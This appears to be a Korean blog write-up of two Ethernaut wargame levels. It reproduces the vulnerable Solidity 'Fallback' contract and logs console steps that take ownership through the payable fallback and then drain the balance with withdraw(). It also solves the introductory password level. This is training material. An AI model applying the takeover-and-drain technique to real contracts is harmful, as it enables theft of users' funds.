'Ethernaut'에 해당되는 글 2건

pragma solidity ^0.4.18;

import './Ownable.sol';

contract Fallback is Ownable {

  mapping(address => uint) public contributions;

  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
} 

pragma solidity ^0.4.18;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;

  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() public {
    owner = msg.sender;
  }

  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

}

오너 주소 확인

await contract.owner()
"0x234094aac85628444a82dae0396c680974260be7"

플레이어 주소 확인

player
"0xaf68271884a8c204342d876d85d55b56c7c45d1f" 

계약 인스턴스 확인 contract.address

instance
"0xf14cc443e95edb000962252225468bce8442a8aa"

메타마스크로 인스턴스 주소로 송금 0.0001 eth

오너 주소 플레이어주소로  바뀌었음
await contract.owner()
"0xaf68271884a8c204342d876d85d55b56c7c45d1f"

플레이어주소

player
"0xaf68271884a8c204342d876d85d55b56c7c45d1f"

계좌 확인

await getBalance(instance)
"0.0021"

취약한 함수 실행 오너권한으로 계좌 훔치기

contract.withdraw()
Promise {<pending>}

계좌가 0원된거 확인

await getBalance(instance)
"0"

1. Set up MetaMask
2. Open the browser's console
3. Use the console helpers
4. The ethernaut contract
5. Interact with the ABI
6. Get test ether
7. Getting a level instance
8. Inspecting the contract
9. Interact with the contract to complete the level 

await contract.info()
"You will find what you need in info1()."

await contract.info1()
"Try info2(), but with "hello" as a parameter."

await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."

await contract.infoNum()
t {s: 1, e: 1, c: Array(1)}c: [42]e: 1s: 1__proto__: Object

await contract.info42()
"theMethodName is the name of the next method."

await contract.theMethodName()
"The method name is method7123949."

await contract.method7123949()
"If you know the password, submit it to authenticate()."

await contract.password()

ethernaut0

await contract.authenticate('ethernaut0')
{tx: "0x9f6c29c29b5397f6df441d4eddb6ae82b89818e57f40635f37eec6ac9153205d", receipt: {…}, logs: Array(0)}